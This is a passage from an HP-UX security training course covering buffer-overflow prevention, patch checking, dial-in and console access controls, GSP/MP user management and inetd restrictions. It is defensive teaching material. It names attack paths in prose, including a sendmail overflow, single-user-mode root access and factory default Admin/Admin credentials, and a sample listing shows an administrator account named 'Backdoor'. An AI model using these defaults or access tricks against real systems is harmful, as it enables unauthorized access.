2. Download the product update from http://software.hp.com. Read the installation

instructions on the download site carefully, since some updates have special instructions.

# netscape http://software.hp.com

3. Update the product.

# swinstall –s /tmp/sendmail/sendmail*.depot
–x match_target=true
–x autoreboot=true

http://education.hp.com 3-37 H3541S D.02

 2004 Hewlett-Packard Development Company, L.P.
Module 3
How the Hacker Gains Access to a Target System (Part 1)

3–14. SLIDE: Preventing Buffer Overflow Attacks

Preventing Buffer Overflow Attacks

Install recommended security patches to correct buffer overflow bugs

Consider using HP’s execute stack protection kernel parameter and program attribute

• Buffer overflows account for a large percentage of the software vulnerabilities that
are frequently exploited on UNIX systems
• Computers use a “stack” structure in memory to record variable values, and
pointers to locations in a program’s code
• A buffer overflow occurs when a program attempts to store a large data value
in an under-sized variable in the stack
• By passing a carefully crafted input stream to a poorly coded program, hackers can
oftentimes overwrite portions of the stack, and cause arbitrary code to execute

I’ll use a well-known buffer overflow bug in sendmail to grant

myself password-free root access in /root/.rhosts!

Student Notes
One of the most common types of attack on computer systems is known as a stack buffer
overflow attack.

Computers use a “stack” structure in memory to record variable values, and pointers to
locations in a program’s code. By feeding privileged programs an unexpectedly large volume
of carefully constructed data attackers can sometimes cause portions of a program’s stack to
be overwritten such that arbitrary code is executed.

These attacks can be used to gain unauthorized access to the system, such as a root shell, to
destroy or alter data, or to cause denial of service to legitimate users. In many cases these
attacks can be remotely launched.

Despite ongoing efforts by software vendors and developers to identify and correct potential
buffer overflow problems, all of the major operating system vendors have had embarrassing
incidents where buffer overflows in their code have resulted in security breaches. Attacks of
this type are especially serious because they can give an attacker full control of a system and
because they can often be launched remotely, without the need for a valid account on the
system.

H3541S D.02 3-38 http://education.hp.com

 2004 Hewlett-Packard Development Company, L.P.
 Module 3
How the Hacker Gains Access to a Target System (Part 1)

Although writing a successful buffer overflow exploit often takes considerable programming
skill, once written, many of these exploits can be launched with point-and-click ease by
nearly anyone. Even worse, the attacks can often be easily automated, allowing entire
networks of systems to be scanned for vulnerabilities and potentially compromised within
seconds. Compromised systems may in turn be used to launch attacks on even more systems.

For a detailed technical description of the programming techniques that hackers use to
exploit buffer overflow vulnerabilities, read the paper titled “Smashing the Stack for Fun and
Profit” by Aleph One on http://destroy.net/machines/security/.

Solutions
There are two practical solutions to this problem. First, as new buffer overflow
vulnerabilities are discovered, install the recommended patch or product updates in a timely
manner.

Second, if your system is running HP-UX 11i, consider setting the executable_stack
kernel parameter to prevent HP-UX from executing code from the “stack” that may be the
result of buffer overflows.

http://education.hp.com 3-39 H3541S D.02

 2004 Hewlett-Packard Development Company, L.P.
Module 3
How the Hacker Gains Access to a Target System (Part 1)

3–15. SLIDE: Setting the executable_stack Kernel Parameter

Setting the executable_stack Kernel

Parameter

Use executable_stack to kill programs that attempt to execute code from the stack

Available executable_stack kernel parameter values:

Value Impact on programs that attempt to execute code from the stack
0 Program is killed
1 Program continues (current HP-UX default)
2 Program continues, but warning message appears on console

Determine the current parameter value:

# kmtune –q executable_stack

Change the executable_stack parameter value:

# sam -> Kernel Configuration
-> Configurable Parameters

Student Notes
The HP-UX 11i executable_stack kernel parameter now makes it possible to remove
execute permission from a program’s stack. If the executable_stack is set to 0 and a
program attempts to execute code from its stack, the HP-UX kernel will terminate the
program with a SIGKILL signal, display a warning message, and log the following error
message to the system message log (use dmesg to view the error message) before a single
malicious instruction can be executed.

WARNING: UID #123 may have attempted a buffer overflow attack.

PID#1234 (myprog) has been terminated. See the '+es enable' option
of chatr(1).

The overhead required to implement this feature is only a few microseconds at program
launch.

H3541S D.02 3-40 http://education.hp.com

 2004 Hewlett-Packard Development Company, L.P.
 Module 3
How the Hacker Gains Access to a Target System (Part 1)

There are several possible values for the executable_stack kernel parameter.

Value Impact on programs that attempt to execute code from the stack
0 Program is killed with SIGKILL signal.
1 Program continues. This is the current HP-UX default.
2 Program continues, but warning message appears on the console.

The current default value for this parameter is 1, though 0 will likely become the default
value in a future release. You can view the current value of this parameter via the kmtune
command.

# kmtune –q executable_stack

If you want to change the executable_stack parameter, you will need to recompile and
reboot the kernel.

# sam -> Kernel Configuration

-> Configurable Parameters

http://education.hp.com 3-41 H3541S D.02

 2004 Hewlett-Packard Development Company, L.P.
Module 3
How the Hacker Gains Access to a Target System (Part 1)

3–16. SLIDE: Setting the chatr +es Executable Stack Option

Setting the chatr +es Executable Stack

Option

Initially set executable_stack=0 to kill programs that execute code from the stack
Use chatr +es to allow executable stack code for select, legitimate programs

Allow a specific program to execute code from the stack, regardless of the kernel setting
# chatr +es enable myprog

Defer to the executable_stack kernel parameter to determine behavior (current default)

# chatr +es disable myprog

View current chatr settings

# chatr myprog

My buffer overflow attack was foiled by the executable_stack

kernel parameter!

Student Notes
Less than 1% of the commercial applications that currently run on HP-UX have a legitimate
need to execute code from their stacks. However, a few programs, notably some simulators
or interpreters and programs using older versions of Java™, do have a legitimate need to
execute code from their stack(s).

You can selectively enable stack code execution for these programs using the “change
attribute” chatr +es enable command.

# chatr +es enable myprog

If you later decide to revert to the default behavior based on the current
executable_stack kernel parameter, disable the chatr override.

# chatr +es disable myprog

H3541S D.02 3-42 http://education.hp.com

 2004 Hewlett-Packard Development Company, L.P.
 Module 3
How the Hacker Gains Access to a Target System (Part 1)

If you want to view the current setting, simply type chatr myprog.

# chatr myprog

For most systems, security may be dramatically improved by setting the

executable_stack kernel parameter to 0.

http://education.hp.com 3-43 H3541S D.02

 2004 Hewlett-Packard Development Company, L.P.
Module 3
How the Hacker Gains Access to a Target System (Part 1)

3–17. LAB: Preventing Hackers from Gaining Access

Programmatically

Directions
Carefully follow the instructions below.

Part I: Registering to Receive HP Security Bulletins

If your classroom has Internet connectivity, and you don’t currently receive the HP Security
Bulletins, take time to add yourself to the mailing list now.

1. Launch your browser and access http://itrc.hp.com/digest/bin/doc.pl

# netscape http://itrc.hp.com/digest/bin/doc.pl

2. If you already have an ITRC account, login using your username and password. If you
don’t already have an ITRC account, create one now and login by clicking “register now”.

[login]

3. On the support information digests screen, click the subscribe check box to the left of
“HP-UX security bulletins digest”, and the “UPDATE SUBSCRIPTIONS” button.

[x] HP-UX security bulletins digest

[UPDATE SUBSCRIPTIONS]

4. When you return to your own office, be sure to register to receive CERT Advisories, too,
by following the instructions on
http://www.cert.org/contact_cert/certmaillist.html.

Part II: Running security_patch_check

In order to simplify security patch management, HP strongly encourages administrators to
run security_patch_check on a regular basis, and to install the recommended patches in
a timely fashion. This portion of the lab walks you through this process.

1. Verify that security_patch_check and perl are installed on your system. If not, the
product may be downloaded for free from http://software.hp.com.

# swlist B6834AA perl

2. Add the /opt/sec_mgt/spc/bin/ directory to your PATH if it isn’t already included.

# vi ~/.profile
PATH=$PATH:/opt/sec_mgt/spc/bin/
# . ~/.profile

H3541S D.02 3-44 http://education.hp.com

 2004 Hewlett-Packard Development Company, L.P.
 Module 3
How the Hacker Gains Access to a Target System (Part 1)

3. Determine if you can use your browser to access the security patch catalog at
ftp://ftp.itrc.hp.com/export/patches/security_catalog.

# netscape ftp://ftp.itrc.hp.com/export/patches/security_catalog

If you can’t connect to this site from the classroom, skip to question 5.

4. If the previous step succeeded, then configure the security_patch_check

ftp_proxy variable so security_patch_check can download the
security_catalog automatically at run time. You can use the same FTP proxy
address that is configured in your browser. The 10.1.1.1:8080 address is only an example;
your proxy address will likely be different.

# vi ~/.profile
export ftp_proxy=http://10.1.1.1:8080
# . ~/.profile

5. Run a security_patch_check analysis of your system. If you can’t connect to the

FTP site from the classroom, use the security_catalog file that is in the /labs
directory.

# security_patch_check –r or
# security_patch_check –c /labs/security_catalog

a. Do any of your already-installed patches have warnings associated with them?

b. Are you missing any security patches?
c. Do any of the missing patches have special instructions?
d. Do any of the missing patches require a reboot?

Answer:

6. If you manage multiple hosts, it may be convenient to download the security patch
catalog to one host, then use the –h option to analyze other hosts remotely. Use
security_patch_check with the –h option to determine if your instructor’s system is
missing any security patches.

# security_patch_check –r -h or
# security_patch_check –c /labs/security_catalog –h

a. Do any of your already-installed patches have warnings associated with them?

b. Are you missing any security patches?
c. Do any of the missing patches have special instructions?
d. Do any of the missing patches require a reboot?

Answer:

http://education.hp.com 3-45 H3541S D.02

 2004 Hewlett-Packard Development Company, L.P.
Module 3
How the Hacker Gains Access to a Target System (Part 1)

Part III: Preventing Buffer Overflow Attacks

Unless you run simulators, or other programs containing self-modifying code that have a
legitimate need to execute stack code, it is a good idea to set the executable_stack
kernel parameter to 0 to prevent buffer overflow attacks.

1. What is the current value of your executable_stack kernel parameter on your

system?

Answer:

2. Change the kernel parameter value to 0 and reboot.

Answer:

3. When your system finishes rebooting, verify that the parameter changed.

Answer:

H3541S D.02 3-46 http://education.hp.com

 2004 Hewlett-Packard Development Company, L.P.
Module 4 — How the Hacker Gains Access to a
Target System (Part 2)
Objectives
Upon completion of this module, you will be able to do the following:
• List eight dial-in line security measures.

• Control terminal and modem login access via /etc/inittab.

• Control dial-in access via /etc/dialups and /etc/d_passwd.

• Control workstation console access via the secure boot option.

• Control server console access via the GSP/MP.

• Control internet service access via /etc/inetd.conf and /var/adm/inetd.sec.

• Control X/CDE access via /etc/rc.config.d/desktop and

/etc/dt/config/Xaccess.

• Control terminal device file access via mesg.

• Control X/CDE display access via xhost and xauth.

• Configure the CDE and ASCII terminal automatic screen lock functionality.

http://education.hp.com 4-1 H3541S D.02

 2004 Hewlett-Packard Development Company, L.P.
Module 4
How the Hacker Gains Access to a Target System (Part 2)

4–1. SLIDE: The Hacker's Process: Getting to a Login Prompt

The Hacker’s Process: Getting to a Login

Prompt

Step 1 Step 2 Step 3 Step 4

Gather Get to Gain user Perform
information a login access to the unauthorized
about the target prompt system activities
system

UNIX
Login:

Student Notes
Some hackers gain access to target systems by exploiting known bugs and vulnerabilities.
Other hackers take a more direct approach: they attempt to access a login prompt on the
target, then start guessing user names and passwords. Passwords on many systems are fairly
easily guessed or obtained via social engineering. However, if you can prevent the hacker
from getting to a login prompt, he will never have an opportunity to enter a username or
password.

The best time to halt the hacker is before the hacker even gets to a login prompt!

H3541S D.02 4-2 http://education.hp.com

 2004 Hewlett-Packard Development Company, L.P.
 Module 4
How the Hacker Gains Access to a Target System (Part 2)

4–2. SLIDE: How Hackers Get to a Login Prompt

How Hackers Get to a Login Prompt

Via modem... Via terminals... Via the LAN... Via Xterms...

tip 1112222
connected
login: $ telnet svr
login:
CDE
login: login:

Student Notes
The only truly secure system is a standalone host in a locked room with no connectivity to
the outside world. Though this security approach keeps hackers out, it also prevents
legitimate users from accessing your system resources. Most administrators today offer
users (and hackers!) a variety of login mechanisms:

• Via serial modems.

• Via hardwired serial terminals.
• Via telnet, ftp, and other network services.
• Via an X-Windows/CDE session server.

The challenge facing the Security Administrator, then, is to ensure that legitimate users can
access your organization’s systems, while preventing hackers from accessing your systems
using these same login mechanisms. The remaining slides in this chapter will present a
number of approaches you can use to solve this problem.

http://education.hp.com 4-3 H3541S D.02

 2004 Hewlett-Packard Development Company, L.P.
Module 4
How the Hacker Gains Access to a Target System (Part 2)

4–3. SLIDE: Securing Dial-In Lines

Securing Dial-In Lines

Physically secure your modems and serial lines.

Don’t publicize your dial-in numbers.
Separate dial-in lines from dial-out lines.

I can dial into my Implement caller-ID.

target system Eliminate call forwarding and other extra services.
from the comfort of Use encryption over dial-up links.
my own home!!
Configure dialup passwords.
For real security, don’t use modems!

Student Notes
Let's start by considering some solutions you can use to secure your dial-in modems.
• Physically secure your modems and wiring closets to prevent line tampering.

• Don’t publicize your dial-in numbers. Dial-in numbers shouldn’t be published outside
your organization. Within your organization, dial-in numbers should only be shared on a
need-to-know basis. Ensure that all dial-in line users are aware that the access number
should never be shared with outsiders or unidentified callers.

• Separate dial-in from dial-out lines. Otherwise, hackers may attempt to perpetrate a
denial-of-service attack by flooding your modems with incoming calls, thus preventing a
legitimate user or application from placing outbound calls. Better yet, ask your telephone
company to disable inbound calls altogether if a modem is only used for outbound calls.
If only inbound functionality is required, have outbound calls blocked.

• Implement caller-id to record the source of all incoming requests. Check the caller-id
logs on a regular basis and investigate calls initiated from unrecognized sources. With an
ISDN line you can even specify which numbers are allowed to call your system.

H3541S D.02 4-4 http://education.hp.com

 2004 Hewlett-Packard Development Company, L.P.
 Module 4
How the Hacker Gains Access to a Target System (Part 2)

• Eliminate call forwarding and other extra services. Hackers may use these services to
launch attacks against other systems via your host.

• Use encryption over dial-up links to overcome the risks posed by eavesdroppers and
wiretaps. Some shops use a software encryption solution, others use encrypting
modems.

• Configure dial-up passwords. Serial ports configured with this functionality require both
a user password and a dial-up password. More about this feature later in the chapter…

• If possible, avoid using modems altogether.

http://education.hp.com 4-5 H3541S D.02

 2004 Hewlett-Packard Development Company, L.P.
Module 4
How the Hacker Gains Access to a Target System (Part 2)

4–4. SLIDE: Controlling Access via /etc/inittab

Controlling Access via /etc/inittab

Only enable terminals and modems at selected run levels.

# vi /etc/inittab
ttp1:4:respawn:/usr/sbin/getty -h tty0p1 9600
ttp2:4:respawn:/usr/sbin/uugetty -h ttyd0p2 9600

Change run levels after hours to disable terminals and modems.

# crontab -e
0 8 * * 1-5 /sbin/init 4
0 17 * * * /sbin/init 3

login:

# init 4 # init 3

Student Notes
The login prompts that appear on terminals and modems are generated by getty and
uugetty processes. These processes are spawned automatically by the init daemon
during the boot process.

You can control exactly when and where these login prompts appear by modifying the
/etc/inittab file.
• The second field in the inittab file identifies the run level(s) at which each service or
daemon should be active. By default, most getty daemons are configured to run at
levels 2 through 4. You may wish to remove run-levels 2 and 3 from the list. This ensures
that the modem will be disabled at run level, which is typically the default in HP-UX.
Then, whenever you wish to enable your terminals and modems, simply bump your
system up to run level 4. Doing so will immediately kill all terminal and modem logins.

• If you need to enable terminals and modems during specific time periods, you can
schedule cron jobs to change run levels as necessary.

H3541S D.02 4-6 http://education.hp.com

 2004 Hewlett-Packard Development Company, L.P.
 Module 4
How the Hacker Gains Access to a Target System (Part 2)

• You can also use /etc/inittab to temporarily disable a modem or terminal altogether:
simply prepend a # sign on the beginning of the associated getty entry in
/etc/inittab, then type init q to force the init daemon to re-read its
configuration file. This will not kill any currently running getty processes on those
ports, so execute the following commands to do so:

# ps –e | grep getty

Then for each port on which you wish to kill the process:

# kill PID-from-above

NOTE: Editing /etc/inittab has no effect on CDE or telnet logins.

http://education.hp.com 4-7 H3541S D.02

 2004 Hewlett-Packard Development Company, L.P.
Module 4
How the Hacker Gains Access to a Target System (Part 2)

4–5. SLIDE: Controlling Access via /etc/dialups

Controlling Access via /etc/dialups

Configure /etc/dialups to require a dial-in password.

# vi /etc/dialups
/dev/ttyd0p1 Login:
/dev/ttyd0p2 Password:
Dialup password:
# vi /etc/d_passwd
/usr/bin/sh:xxxxxxxxxxxxx:
/usr/bin/ksh:xxxxxxxxxxxxx:
/sbin/sh:xxxxxxxxxxxxx:

Student Notes
Configuring the /etc/dialups file adds an extra measure of security to your system by
requiring both a user password and a dialup password each time a user attempts to access
the system via a configured terminal or modem.

To implement dial-up security in HP-UX two files need to be configured, /etc/dialups and
/etc/d_passwd. Dial-up security prompts the user for two passwords; the user's password
and the user's default shell password. The /etc/dialups file contains the list of terminal
ports on which the second password will be required:

/dev/ttyd0p1
/dev/ttyd0p2

The d_passwd file contains a list of users' startup shells, and the encrypted passwords
associated with each of those shells. If a user's shell is not listed in this file, the password for
the /usr/bin/sh shell is used.

/usr/bin/sh:dpscen80aKWa2:
/usr/bin/ksh:dpJm/BwWmbsJg:

H3541S D.02 4-8 http://education.hp.com

 2004 Hewlett-Packard Development Company, L.P.
 Module 4
How the Hacker Gains Access to a Target System (Part 2)

Configuring /etc/dialups
In order to configure /etc/dialups, you must determine which device files are associated
with the device(s) you wish to secure. You can determine which device files are associated
with each device via the ioscan command:

# ioscan -funC tty

Find the hardware path for the device you wish to configure, then look below the hardware
path to find the associated device file(s). If your device is connected via a MUX panel with
multiple ports, there may be multiple device files listed for the MUX panel's hardware path.
Look at the MUX panel to determine which port your device is connected to. The last
number in each device file name identifies the port number each device file is associated
with.

Modems may have multiple device files. The ttydxpx dial-in device file is the one that
should be used in /etc/dialups.

Configuring /etc/d_passwd
Each line in /etc/d_passwd contains a startup shell, and a password required to start that
shell or startup program. You should include an entry in /etc/d_passwd for every startup
program referenced in the /etc/passwd file.

The second field in /etc/d_passwd is the encrypted passwd field. Unfortunately, there is
no built-in HPUX for encrypting passwords in /etc/d_passwd. After choosing a password,
you will have to write a short C program to encrypt the password into a form that is
acceptable to the system. The following C program prompts for the two fields required in
/etc/d_passwd, encrypts the provided password, and displays the resulting
/etc/d_passwd entry on stdout:

# include <stdio.h>
main()
{
char shell[25], password[25];
char *result;

fprintf(stderr, “Enter the shell you wish to protect: “);

scanf(“%s”, shell);
fprintf(stderr, “Enter the password to be encrypted: “);
scanf(“%s”, password);

result = crypt(password, “xx”);

fprintf(stdout, “%s:%s:\n”, shell, result);
}

After entering the program as dialupadd.c, compile and run it as follows:

gcc dialupadd.c –o dialupadd

./dialupadd >>/etc/d_passwd

http://education.hp.com 4-9 H3541S D.02

 2004 Hewlett-Packard Development Company, L.P.
Module 4
How the Hacker Gains Access to a Target System (Part 2)

4–6. SLIDE: Controlling Workstation Console Access

Controlling Console Access on

Workstations

If I can gain physical access to the system console, I’ll

reboot to single-user mode to gain root access!

On workstations, disable the BCH boot interrupt functionality.

Main Menu> configure auto boot

Main Menu> configure secure on
Main Menu> boot pri

Student Notes
By default in HP-UX, anyone with physical access to a system’s console can shutdown, boot
to single-user mode, and immediately gain root access to the system without providing a
password. Thus, it is critical that the system and the system console be placed in a physically
secure location.

Enabling the Secure Boot Option on Workstations

HP 9000 workstations provide a special option for disabling the manual boot functionality to
prevent potential hackers from booting to single-user mode. Note that this feature is not
available for servers!
1. Power on the system

2. Interrupt the system boot by hitting:

[ESC]

H3541S D.02 4-10 http://education.hp.com

 2004 Hewlett-Packard Development Company, L.P.
 Module 4
How the Hacker Gains Access to a Target System (Part 2)

3. At the prompt that follows, type: (Note that the actual prompt varies somewhat from
model to model. Also, on some models you may have to precede the secure command
with the prefix “configuration”.)

Main Menu: autoboot on

Main Menu: secure on
Main Menu: boot pri

Disabling the Secure Boot Option

If you enable the secure boot option but later have a legitimate need to boot to single-user
mode, use the following procedure:
1. Physically disconnect the boot disk SCSI cable.

2. Power on the system (the autoboot should fail since the boot disk is inaccessible).

3. At the Boot Console Handler, toggle the secure flag back to off.

Main Menu: autoboot on

Main Menu: secure off

4. Power off and physically reconnect the boot disk.

5. Power on! At this point you should be able to interrupt the boot sequence.

A Warning, and an Alternative Approach

Beware that setting the secure boot option makes it impossible to interact with Boot Console
Handler or the ISL at all without physically disconnecting the boot disk!

HP’s “trusted system” functionality provides a more flexible solution. Converting your host
to a trusted system makes it possible to require a password to access single-user mode. A
later chapter in the book will describe trusted system functionality in detail.

NOTE: Please do not set the secure boot option on the classroom systems!

http://education.hp.com 4-11 H3541S D.02

 2004 Hewlett-Packard Development Company, L.P.
Module 4
How the Hacker Gains Access to a Target System (Part 2)

4–7. SLIDE: Controlling GSP/MP Console Access on Servers

Controlling GSP/MP Console Access on

Servers

Today’s HP9000 servers offer a variety of console connectivity options via the GSP/MP.
Since the GSP/MP provides remote console access, it must be properly secured.

Local Console Port LAN Console Port

login: $ telnet svr

GSP login:
local RS232 telnet

GSP/MP
Remote Console Port Secure Web Console

tip 1112222 Netscape

connected modem RS232 HTTP login:
login:

Student Notes
It is even more important to secure access to the system console interface on servers, since a
compromised server often leads to security problems on clients as well.

All of HP’s current servers provide console access via a “Guardian Service Processor” (GSP)
or “Management Processor” (MP) interface card. The GSP/MP interface card provides
several console access ports, as well as firmware for controlling access to those ports.

Using the Local Serial Console Port

All GSP/MP cards include an RS232 port that may be connected via a serial cable to an HP
ASCII terminal. The local console port is by far the easiest console solution to configure, and
is the most secure console access mechanism. A hacker would have to gain physical access
to the ASCII terminal in order to access your system console.

Using the Remote Console Port

The current server models also provide console access via a "remote access/support modem"
port on the GSP/MP. Enabling the remote support modem makes it possible to dial into your
system from a remote location via a modem and obtain console level access.

H3541S D.02 4-12 http://education.hp.com

 2004 Hewlett-Packard Development Company, L.P.
 Module 4
How the Hacker Gains Access to a Target System (Part 2)

Using the LAN Console Port

The LAN Console Port is perhaps the most popular console connectivity option in
datacenters today. Servers that support this functionality have a 10BaseT LAN console port
built into the GSP/MP board, with an IP network address that is independent of the server's
standard LAN interface card. Any authorized administrator that has LAN connectivity to the
server's console LAN port can telnet to that port's IP address and obtain console level
access. The telnet server functionality is built into the console LAN console interface
itself; thus, the administrator can telnet into the console port no matter what state the
server is in.

This LAN console port is an ideal console connectivity solution for administrators in data
center environments with multiple HP9000 servers. The administrator can configure one
central management PC or workstation, then simply telnet to the LAN console port of any
server in the data center.

Using the Secure Web Console

The final console possibility is the HP Secure Web Console (SWC). On some servers, the
GSP/MP provides SWC functionality. On other servers, the SWC is available as a standalone
unit the size of a VCR tape for older servers, or as an add-on PCI card. The SWC provides
secure, encrypted, web-based access to your system console via a web browser built into the
SWC unit. Because the SWC interface is web-based, you can access your console from any
web browser anywhere on the Internet!

If you use the SWC, verify that you have the latest SWC firmware installed. Early versions of
the SWC firmware had a number of security vulnerabilities that have since been fixed.

WARNING! If a hacker can gain physical access to a server, the hacker will be able
to gain console access no matter which console solution you choose to
use. Make sure your server is in a secure physical location!

http://education.hp.com 4-13 H3541S D.02

 2004 Hewlett-Packard Development Company, L.P.
Module 4
How the Hacker Gains Access to a Target System (Part 2)

4–8. SLIDE: Securing the GSP/MP Access Ports

Securing the GSP/MP Access Ports

Disable the remote support modem if you don’t intend to use it.
MP> ms Display current remote support modem status
MP> ca Change the remote support modem configuration
MP> er Enable or disable the remote support modem

Disable the LAN console port if you don’t intend to use it.
MP> ls Display current LAN/Web console port status
MP> lc Change the LAN/Web console configuration
MP> el Enable the LAN/Web console port
MP> dl Disable the LAN/Web console port

If you suspect unauthorized usage, disconnect remote users, and reset factory defaults.

MP> di Disconnect Modem/LAN/Web console users

MP> dc Reset the default GSP/MP configuration to factory defaults

Student Notes
The GSP/MP provides a rich collection of commands and utilities for controlling console
access. Use the commands shown on the slide to disable any ports you don’t intend to use
use.

Accessing the GSP/MP

In order to configure the GSP/MP, you must first access the GSP/MP interface menus. If you
have a brand-new system, simply connect a serial terminal to the GSP/MP serial port and hit
the [Return] key. If someone else already configured the GSP/MP LAN console port, you
can use another machine on your data center network to telnet to the GSP/MP IP address.
In either case, you will be prompted for a GSP/MP user name. If you are accessing the GSP
for the first time, use username “Admin”, and password ”Admin”. A later slide in this chapter
will explain how to change the Admin user password and add additional GSP users.

H3541S D.02 4-14 http://education.hp.com

 2004 Hewlett-Packard Development Company, L.P.
 Module 4
How the Hacker Gains Access to a Target System (Part 2)

GSP login: Admin

GSP password: Admin

(c)Copyright 2000 Hewlett-Packard Co.

Welcome to
Superdome's Guardian Service Processor

GSP>

You can use the GSP/MP HE (help) command to learn more about the GSP/MP capabilities.

GSP> HE

For a complete list of GSP/MP commands, type HE LI (help list).

GSP> HE LI

Enabling, Disabling, and Configuring GSP/MP Ports

The GSP/MP provides a variety of commands for enabling, disabling, and configuring console
access. The slide lists some of the commands that you may find useful. On some systems,
these commands are available directly at the GSP/MP main menu prompt.

GSP> LS
Current configuration of GSP customer LAN interface
MAC address : 00:10:83:fd:27:83
IP address : 192.168.1.1
Name : suprdome
Subnet mask : 255.255.255.0
Gateway : 192.168.1.1
Status : UP and RUNNING

On other models, the commands on the slide are available at the command sub-menu.

GSP> CM
GSP:CM> LS
Current configuration of GSP customer LAN interface
MAC address : 00:10:83:fd:27:83
IP address : 192.168.1.1
Name : suprdome
Subnet mask : 255.255.255.0
Gateway : 192.168.1.1
Status : UP and RUNNING

From the command submenu, you can return to the GSP main menu by typing MA.

GSP:CM> MA
GSP>

http://education.hp.com 4-15 H3541S D.02

 2004 Hewlett-Packard Development Company, L.P.
Module 4
How the Hacker Gains Access to a Target System (Part 2)

All of the GSP commands use a simple question/answer text interface. Here is some sample
output from the EL command:

GSP :CM> EL
Enable telnet access? (Y/[N]) y
-> Telnet access enabled.

The GSP/MP interface is not case sensitive.

H3541S D.02 4-16 http://education.hp.com

 2004 Hewlett-Packard Development Company, L.P.
 Module 4
How the Hacker Gains Access to a Target System (Part 2)

4–9. SLIDE: Configuring a GSP/MP Private Management LAN

Configuring a GSP/MP Private

Management LAN

LAN console port traffic is not encrypted or authenticated.

Only connect the LAN/Web console port to a secure private management LAN.
For better security, use the Secure Web Console.

Corporate Intranet

Secure Private Management LAN

Student Notes
The GSP/MP LAN console functionality is very convenient, but provides limited security
features. Although users must enter a password to access the GSP/MP menus, network
traffic to the GSP/MP is neither encrypted nor authenticated. For this reason, your servers’
LAN console ports should reside on an isolated, private network rather than your corporate
Intranet.

Some administrators configure a gateway host, with connectivity to the corporate Intranet
via a more secure remote login mechanism like SSH, and connectivity to the private
management LAN. Using this approach, remote administrators can ssh into the gateway
host, then telnet from the gateway host to their server’s GSP/MP interface. SSH
configuration wil be discussed in detail in a later chapter.

If an administrator only needs access to a single server’s GSP/MP, hardcode an appropriate

telnet command into that administrator’s .profile on the SSH gateway server to prevent
them from accessing the other servers’ GSP/MP interfaces.

# cat ~admin1/.profile
exec /usr/bin/telnet svrname-gsp

http://education.hp.com 4-17 H3541S D.02

 2004 Hewlett-Packard Development Company, L.P.
Module 4
How the Hacker Gains Access to a Target System (Part 2)

If it isn’t feasible to configure a private management LAN for your GSP LAN ports, consider
using the Secure Web Console (SWC) solution instead. Unlike the LAN console port, the
SWC uses encryption and authentication to protect packets traveling between the SWC and
the management console.

H3541S D.02 4-18 http://education.hp.com

 2004 Hewlett-Packard Development Company, L.P.
 Module 4
How the Hacker Gains Access to a Target System (Part 2)

4–10. SLIDE: Securing the GSP/MP Users

Securing the GSP/MP Users

Use the SO command to create and manage GSP/MP user accounts.

• Users must provide a username and password to access the GSP/MP

• The “Admin” user (password “Admin”) is predefined
• Up to nineteen additional GSP/MP users may be defined via the so command

Limit access to GSP/MP Administrator accounts and passwords.

• A user’s access level determines which GSP features and partitions s/he can access

Access Level Commands Available Partitions Available

Administrator All All

Operator Some All

Single-partition user Some Some

Student Notes
In order to access the GSP/MP, users must enter a valid GSP/MP username and password.
Up to twenty GSP/MP usernames may be defined on a system. The first GSP/MP user, by
default, is the administrator, with full access to all GSP/MP menus and commands and all
partitions. The username for this account is initially set to “Admin” with password “Admin”.
This should be changed as soon as possible.

The Admin user (or any other user with Administrator access rights) may configure the
nineteen remaining GSP/MP users as desired. Each user is assigned a username, password,
and access level. Three access levels are available on the GSP/MP:
Administrator Users: Administrator users have access to all GSP/MP commands, and all
partitions on the system.
Operators Users: Operators have access to all commands necessary to access and
manage all partitions, but don’t have the ability to modify the
configuration of the GSP/MP itself.
Single-Partition Users: Single-partition users have access to a limited number of GSP/MP
commands that are required to access, boot, and reboot a specified
partition.

http://education.hp.com 4-19 H3541S D.02

 2004 Hewlett-Packard Development Company, L.P.
Module 4
How the Hacker Gains Access to a Target System (Part 2)

Note that GSP/MP users have no relationship to the user accounts defined in the HP-UX
/etc/passwd file. Entries in the HP-UX /etc/passwd file determine who can login on a
partition running HP-UX, while the GSP/MP password database determines which users can
access the GSP/MP menu interface.
Creating and managing GSP/MP users

GSP/MP users may be configured via the GSP:CM> SO (security options) command. The
output below shows the procedure required to configure a GSP/MP user account:
GSP> cm
GSP:CM> so
1. GSP wide parameters
2. User parameters
Which do you wish to modify? ([1]/2) 2

Current users:
LOGIN USER NAME ACCESS PART. STATUS
1 Admin Admin Admin
2 Operator Operator Operator
3 Backdoor Backdoor Admin

1 to 3 to edit, A to add, D to delete, Q to quit : a

Enter Login : student
Enter Name : HPE student
Enter Organization : HPE
Valid Access Levels: Administrator, Operator, Single Partition
Enter Access Level (A/O/[S]) : a
Valid Modes: Single Use, Multiple Use
Enter Mode (S/[M]) : s
Valid States: Disabled, Enabled
Enter State (D/[E]) : d
Enable Dialback ? (Y/[N]) y
Enter Dialback Phone Number : 1112222
Enter Password :
Re-Enter Password :
New User parameters are:
Login : student
Name : HPE student

H3541S D.02 4-20 http://education.hp.com

 2004 Hewlett-Packard Development Company, L.P.
 Module 4
How the Hacker Gains Access to a Target System (Part 2)

Organization : HPE
Access Level : Administrator
Mode : Single Use
State : Disabled
Default Partition :
Dialback : 1112222
Changes do not take affect until the command has finished.
Save changes to user number 4? (Y/[N]) y

What if you forget the Admin password?

If you forget the GSP/MP Admin user’s password, the GSP/MP security configuration may be
reset by executing the dc command or by pressing the reset button on the GSP/MP card.
Doing so removes all of the GSP/MP users, disables the remote support modem, and resets
the LAN console interface parameters to their factory default values.

http://education.hp.com 4-21 H3541S D.02

 2004 Hewlett-Packard Development Company, L.P.
Module 4
How the Hacker Gains Access to a Target System (Part 2)

4–11. SLIDE: Controlling Access via inetd

Controlling Access via inetd

Consider disabling all network services.

# inetd -k
# vi /etc/rc.config.d/netdaemons
export INETD_ARGS="-k"
Consider disabling selected network services.
# vi /etc/inetd.conf
#telnet stream tcp nowait root /usr/lbin/telnetd telnetd
# inetd -c

Consider disabling selected services for selected hosts or subnets.

# vi /var/adm/inetd.sec
telnet allow hosta hostb 128.1.*.* 128.2.1-5.*
login deny hosta hostb 128.*.*.*

Student Notes
Hackers have traditionally attacked their target hosts via modem links or hardwired
terminals. These days, however, more and more hackers are taking advantage of the Internet
as an entry way to their target hosts. Several chapters later in the course will delve into
network security issues in detail; the purpose of this slide is to simply introduce three simple
mechanisms for minimizing the risks posed by the standard internet services that are
provided by the inetd daemon.

Disabling all Network Services

If you don’t need the inetd services (telnet, ftp, rlogin, remsh, etc.), consider
disabling them altogether by killing the inetd daemon. Note that this will not affect already
established connections from your clients:

# inetd –k

H3541S D.02 4-22 http://education.hp.com

 2004 Hewlett-Packard Development Company, L.P.
 Module 4
